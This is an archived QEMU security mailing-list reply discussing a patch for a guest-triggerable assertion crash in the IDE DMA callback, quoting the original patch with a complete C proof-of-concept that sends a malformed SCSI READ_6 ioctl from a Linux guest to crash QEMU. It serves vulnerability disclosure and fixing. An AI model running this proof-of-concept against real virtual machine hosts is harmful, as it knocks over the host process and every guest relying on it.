[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu D
From: |
Michael S. Tsirkin |
Subject: |
Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest |
Date: |
Wed, 6 Nov 2019 07:05:15 -0500 |
On Thu, Jul 25, 2019 at 08:25:03PM -0400, John Snow wrote:
>
>
> On 7/5/19 10:07 AM, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> >
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> >
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> >
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> >
> > #define CMD_SIZE 2048
> >
> > struct scsi_ioctl_cmd_6 {
> > unsigned int inlen;
> > unsigned int outlen;
> > unsigned char cmd[6];
> > unsigned char data[];
> > };
> >
> > int main(void)
> > {
> > intptr_t fd = 0;
> > struct scsi_ioctl_cmd_6 *cmd = NULL;
> >
> > cmd = malloc(CMD_SIZE);
> > if (!cmd) {
> > perror("[-] malloc");
> > return 1;
> > }
> >
> > memset(cmd, 0, CMD_SIZE);
> > cmd->inlen = 1337;
> > cmd->cmd[0] = READ_6;
> >
> > fd = open("/dev/sg0", O_RDONLY);
> > if (fd == -1) {
> > perror("[-] opening sg");
> > return 1;
> > }
> >
> > printf("[+] sg0 is opened\n");
> >
> > printf("[.] qemu should break here:\n");
> > fflush(stdout);
> > ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> > printf("[-] qemu didn't break\n");
> >
> > free(cmd);
> >
> > return 1;
> > }
> >
> > Signed-off-by: Alexander Popov <address@hidden>
> > ---
> > hw/ide/core.c | 2 +-
> > 1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >
> > sector_num = ide_get_sector(s);
> > if (n > 0) {
> > - assert(n * 512 == s->sg.size);
> > + assert(n == s->sg.size / 512);
> > dma_buf_commit(s, s->sg.size);
> > sector_num += n;
> > ide_set_sector(s, sector_num);
> >
>
> Oh, this is fun.
>
> So you're actually requesting 131072 bytes (256 sectors) but you're
> giving it far too short of a PRDT.
>
> But ... the prepare_buf callback got anything at all, so it was happy to
> proceed, but the callback chokes over the idea that the SGlist wasn't
> formatted correctly -- it can't deal with partial tails.
>
> I think it might be the case that the sglist needs to be allowed to have
> an unaligned tail, and then the second trip to the dma_cb when there
> isn't any more regions in the PRDT to add to the SGList to transfer at
> least a single sector -- but the IDE state machine still has sectors to
> transfer -- we need to trigger the short PRD clause.
>
> Papering over it by truncating the tail I think isn't sufficient; there
> are other problems this exposes.
>
> As an emergency patch, it might be better to just do this whenever we
> see partial tails:
>
> prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
> if (prepared % 512) {
> ide_dma_error(s);
> return;
> }
Do you want to cook up a patch like this then?
> I think that prepare_buf does not give unaligned results if you provided
> *too many* bytes, so the unaligned return only happens when you starve it.
>
> I can worry about a proper fix for 4.2+.
>
> --js